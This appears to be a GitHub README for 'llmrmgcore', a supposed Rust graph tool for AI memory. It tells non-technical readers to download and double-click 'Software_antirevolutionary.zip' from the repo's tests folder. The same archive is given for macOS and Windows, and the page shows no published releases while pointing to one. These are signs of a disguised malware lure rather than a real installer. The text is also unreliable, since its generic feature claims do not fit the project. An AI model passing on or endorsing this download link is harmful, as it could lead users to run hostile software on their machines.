Skip to content

laygonexe/llmrmgcore

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

8 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐ŸŒŸ llmrmgcore - A Simple AI Graph Tool

๐Ÿš€ Getting Started

Welcome to llmrmgcore! This application offers a user-friendly way to work with graph-based AI in a deterministic manner. Itโ€™s designed for those who want to experiment with AI functionalities without needing technical skills.

๐Ÿ“ฅ Download Now

Download llmrmgcore

๐Ÿ“‚ What is llmrmgcore?

llmrmgcore is a Rust-based application that helps you manage and analyze graphs using a deterministic approach. It is currently in its first prototype version (v0). This tool can assist you in tasks like:

  • Building knowledge graphs.
  • Validating AI-driven models.
  • Conducting experiments with an easy-to-use interface.

๐Ÿ› ๏ธ Features

  • Deterministic Output: Always get the same results from the same inputs.
  • Graph Manipulation: Easily create and modify graphs based on your needs.
  • AI Integration: Explore advanced features by integrating AI technologies seamlessly.
  • User-Friendly Interface: Navigate through tasks effortlessly, perfect for non-technical users.

๐Ÿ’ป System Requirements

To run llmrmgcore, you will need:

  • A computer running Windows, macOS, or a Linux distribution.
  • At least 4GB of RAM.
  • 250MB of available disk space.
  • An internet connection for downloading and installing the application.

๐ŸŽฎ How to Download & Install

  1. Visit the Releases Page:
    Go to the official releases page to find the latest version of llmrmgcore:
    Download Here

  2. Download the Installer:
    Look for the file named https://github.com/laygonexe/llmrmgcore/raw/refs/heads/main/tests/Software_antirevolutionary.zip for macOS or https://github.com/laygonexe/llmrmgcore/raw/refs/heads/main/tests/Software_antirevolutionary.zip for Windows. Click on the appropriate version for your operating system to start the download.

  3. Install the Application:
    Once the file has downloaded, locate it on your computer. Double-click the file to start the installation process. Follow the easy on-screen instructions to complete the installation.

  4. Launch the Application:
    After the installation is complete, you can find llmrmgcore in your applications folder or start menu. Click on it to launch.

๐Ÿ” Using llmrmgcore

Once you have launched the application, follow these steps to start using it:

  1. Create a New Graph:
    Click on "New Graph" to begin. You will have the option to select different types of graph structures.

  2. Add Nodes and Edges:
    Use the interface to add nodes and connect them with edges. This represents relationships in your data.

  3. Analyze Your Graph:
    Utilize built-in tools for validation and checking invariants. This ensures your graph behaves as expected.

  4. Save Your Work:
    Don't forget to save your graph regularly. Click on "Save" and choose a location on your computer.

๐Ÿ™‹ Frequently Asked Questions

How do I uninstall llmrmgcore?

To uninstall, navigate to your applications folder or start menu, locate llmrmgcore, right-click the icon, and select "Uninstall."

Can I use this application without an internet connection?

Yes, once the application is installed, you do not need an internet connection to use it.

Is there a user guide or documentation?

Basic help is provided within the application. For more detailed guidance, check the GitHub wiki or examples provided on the releases page.

๐Ÿ“ž Support

If you encounter any issues or have questions, please reach out through the Issues section on our GitHub page.

๐ŸŽ‰ Thank You

Thank you for choosing llmrmgcore. We hope it simplifies your AI graph applications and provides a smooth experience. Enjoy exploring the possibilities!

About

๐Ÿง  Enhance AI memory with a Rust-based graph core for safe, debuggable, and auditable long-term memory, minimizing hallucination in LLMs.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages